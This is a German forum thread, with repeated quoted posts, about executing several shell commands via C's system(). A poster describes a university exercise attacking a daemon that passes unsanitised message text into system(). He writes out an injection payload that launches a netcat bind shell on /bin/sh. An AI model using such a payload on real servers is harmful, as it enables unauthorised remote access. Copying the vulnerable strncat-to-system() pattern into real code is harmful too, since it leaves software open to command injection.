C: system()
C: system()
Kann man in einem system(); Aufruf auch gleich mehrere Befehle ausführen?
Ich habe schon meherere Trennzeichen (Leerzeichen, Newline, Strichpunkt) versucht, doch es wird immer der ganze String ausgegeben:
system("echo -n 'hallo'; ls -l /tmp; echo -n 'bye'");
Geht das irgendwie?
Ich habe schon meherere Trennzeichen (Leerzeichen, Newline, Strichpunkt) versucht, doch es wird immer der ganze String ausgegeben:
system("echo -n 'hallo'; ls -l /tmp; echo -n 'bye'");
Geht das irgendwie?
versuch mal das:
Code: Alles auswählen
system("echo -n 'hallo' && ls -l /tmp && echo -n 'bye'")
funktioniert ja
Code: Alles auswählen
gms@gms1:~$ cat x.c
int main() {
system("echo -n 'hallo'; ls -l /tmp; echo -n 'bye'");
}
gms@gms1:~$ gcc -o x x.c
gms@gms1:~$ ./x
halloinsgesamt 20
drwx------ 3 gms gms 4096 2006-01-21 14:51 gconfd-gms
drwx------ 2 gms gms 4096 2006-01-21 14:51 keyring-Es5Bng
srwxr-xr-x 1 gms gms 0 2006-01-21 14:51 mapping-gms
drwx------ 2 gms gms 4096 2006-01-21 15:00 orbit-gms
drwx------ 2 gms gms 4096 2006-01-21 14:51 ssh-CegbbC8320
drwx------ 2 gms gms 4096 2006-01-21 14:51 ssh-QNfXZu8381
byegms@gms1:~$
gms
Vielleicht hast du dort eine "restricted Shell" oder es stimmt einfach nur deine PATH Environmentvariable nicht.
uname ist normalerweise im "/bin" Verzeichnis. Versuche einmal das Kommando "/bin/uname -a". Wenn dieses funktioniert, dann füge das "/bin" Vezeichnis in deine PATH Variable ein. Wenn obiges Kommando nicht funktioniert, solltest du eigentlich eine entsprechende Fehlermeldung bekommen, wie "bash: /bin/uname: restricted ..." oder "bash: /bin/uname: command not".
uname ist normalerweise im "/bin" Verzeichnis. Versuche einmal das Kommando "/bin/uname -a". Wenn dieses funktioniert, dann füge das "/bin" Vezeichnis in deine PATH Variable ein. Wenn obiges Kommando nicht funktioniert, solltest du eigentlich eine entsprechende Fehlermeldung bekommen, wie "bash: /bin/uname: restricted ..." oder "bash: /bin/uname: command not".
Nein, die beiden sind vorhanden.
Also ich erzähle jetzt die ganze Geschichte:
Im Code des Daemons am Server ist unter anderem dieser Code enthalten:
(void) strncat(Echo_Buffer, "echo -n '", strlen("echo -n '"));
(void) strncat(Echo_Buffer, Message.Name, strlen(Message.Name));
(void) strncat(Echo_Buffer, ": ", strlen(": "));
(void) strncat(Echo_Buffer, Message.Message, strlen(Message.Message));
(void) strncat(Echo_Buffer, "'", strlen("'"));
(void) strncat(Echo_Buffer, ">> ", strlen(">> "));
(void) strncat(Echo_Buffer, Console_or_File, strlen(Console_or_File));
.
.
.
system(Echo_Buffer);
Message.Name enthält den Namen des Nachrichtensenders. Message.Message die Nachricht selbst.
Mit dem dazugehörigen Client kann man über diesen Daemon Nachrichten zu anderen Clients schicken.
Aufgabe ist es nun, Sicherheitslücken im Daemon auszunutzen, um Zugriff auf den Server zu erhalten.
Ich dachte mir, wenn ich soetwas wie "'; nc -p 10468 -l -e /bin/sh; echo -n 'netcat started" als Nachricht sende, kann ich netcat auf dem Server starten (vorausgesetzt es ist dort vorhanden und hat Zugriff auf den Port) um mich dann zum Server verbinden zu können und eine shell zu erhalten.
Anmerkung: Dabei handelt es sich wirklich um eine Übung für die Uni, nicht um blödsinniges Cracken bzw. Hacken.
EDIT: Das Problem ist nun, dass mir die Clients in diesem Fall "vista: '; nc -p 10468 -l -e /bin/sh; echo -n 'netcat started" ausspucken, der Daemon aber anscheinend kein netcat startet!
Also ich erzähle jetzt die ganze Geschichte:
Im Code des Daemons am Server ist unter anderem dieser Code enthalten:
(void) strncat(Echo_Buffer, "echo -n '", strlen("echo -n '"));
(void) strncat(Echo_Buffer, Message.Name, strlen(Message.Name));
(void) strncat(Echo_Buffer, ": ", strlen(": "));
(void) strncat(Echo_Buffer, Message.Message, strlen(Message.Message));
(void) strncat(Echo_Buffer, "'", strlen("'"));
(void) strncat(Echo_Buffer, ">> ", strlen(">> "));
(void) strncat(Echo_Buffer, Console_or_File, strlen(Console_or_File));
.
.
.
system(Echo_Buffer);
Message.Name enthält den Namen des Nachrichtensenders. Message.Message die Nachricht selbst.
Mit dem dazugehörigen Client kann man über diesen Daemon Nachrichten zu anderen Clients schicken.
Aufgabe ist es nun, Sicherheitslücken im Daemon auszunutzen, um Zugriff auf den Server zu erhalten.
Ich dachte mir, wenn ich soetwas wie "'; nc -p 10468 -l -e /bin/sh; echo -n 'netcat started" als Nachricht sende, kann ich netcat auf dem Server starten (vorausgesetzt es ist dort vorhanden und hat Zugriff auf den Port) um mich dann zum Server verbinden zu können und eine shell zu erhalten.
Anmerkung: Dabei handelt es sich wirklich um eine Übung für die Uni, nicht um blödsinniges Cracken bzw. Hacken.
EDIT: Das Problem ist nun, dass mir die Clients in diesem Fall "vista: '; nc -p 10468 -l -e /bin/sh; echo -n 'netcat started" ausspucken, der Daemon aber anscheinend kein netcat startet!
Hast du vielleicht eine Ahnung, wie ich das schon vorhandene echo() abschließen könnte, danach ein gewünschtes programm auszuführen und danach meinetwegen wieder ein echo starten, damit der Rest des vorhandenen codes richtig abgeschlossen werden kann.
Denn anscheinend hilft mein einzelnes Hochkomma am Anfang der Nachricht nichts...
Denn anscheinend hilft mein einzelnes Hochkomma am Anfang der Nachricht nichts...